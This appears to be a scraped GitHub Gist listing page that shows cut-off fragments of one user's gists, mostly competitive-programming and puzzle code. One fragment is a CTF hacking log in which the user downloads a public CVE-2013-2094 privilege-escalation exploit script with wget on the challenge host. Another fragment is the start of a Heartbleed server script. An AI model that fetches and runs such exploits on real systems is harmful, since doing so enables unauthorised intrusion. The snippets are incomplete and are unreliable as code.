Skip to content

Instantly share code, notes, and snippets.

#include <string>
#include <vector>
using namespace std;
// BEGIN CUT HERE
#include <iostream>
#include <sstream>
template<typename T> ostream& operator<<(ostream& os, const vector<T>& v);
// END CUT HERE
#include <iostream>
#include <vector>
#include <string>
#include <algorithm>
#include <ctime>
#include <set>
using namespace std;
// http://community.topcoder.com/stat?c=problem_statement&pm=12324
#include <vector>
#include <algorithm>
#include <cmath>
using namespace std;
// BEGIN CUT HERE
#include <iostream>
#include <sstream>
#include <string>
def f(n: Int) = {
val One = 1
val Two = 2
n match {
case One => "A"
case Two => "B"
}
}
def g(n: Int) = {
# coding: utf-8
# http://twitpic.com/cwg6mz
# 0 1 2 3
# 4 5 6 7
import itertools
akira, shinya, hiroshi, chiaki, saki, yuri, mika, reina = range(8)
name = ("akira", "shinya", "hiroshi", "chiaki", "saki", "yuri", "mika", "reina")
@kusano
kusano / gist:8979286
Created February 13, 2014 17:07
How to hack ctfq.sweetduet.info:10022
[q13@localhost hack]$ wget https://raw.github.com/Pashkela/CVE-2013-2094/master/run.sh
--2014-02-14 02:05:38-- https://raw.github.com/Pashkela/CVE-2013-2094/master/run.sh
Resolving raw.github.com... 103.245.222.133
Connecting to raw.github.com|103.245.222.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 80790 (79K) [text/plain]
Saving to: “run.sh”
100%[================================================>] 80,790 --.-K/s in 0.02s
// 1個目の引数を返す関数 Trueになる
function t(a,b) {return a;}
// 2個目の引数を返す関数 Falseになる
function f(a,b) {return b;}
// aがTrueならbを、aがFalseならcを返す
function test(a,b,c) {return a(b,c);}
test(t,"x","y") // "x"
@kusano
kusano / heartbleed.py
Last active August 29, 2015 13:59
heartbleed server
import sys, socket, threading, time, ssl, struct
def recv(s, l):
r = ''
while len(r)<l:
d = s.recv(l-len(r))
if d=='':
raise
r += d
return r
@kusano
kusano / SquareRemover.cpp
Created April 23, 2014 17:04
2014 TCO Marathon Round 1 SquareRemover
#include <iostream>
#include <vector>
#include <string>
#include <cstdlib>
#include <set>
#include <ctime>
#include <algorithm>
/*
街を原点を中心に回転して角度を揃えても結果は変わらない。
街が何個重なっているかを更新しながら、街が重なっていない部分の長さを足していけば
良い。[0, Z]以外の部分にも街があると考えるとプログラムが楽。
*/
#include <string>
#include <vector>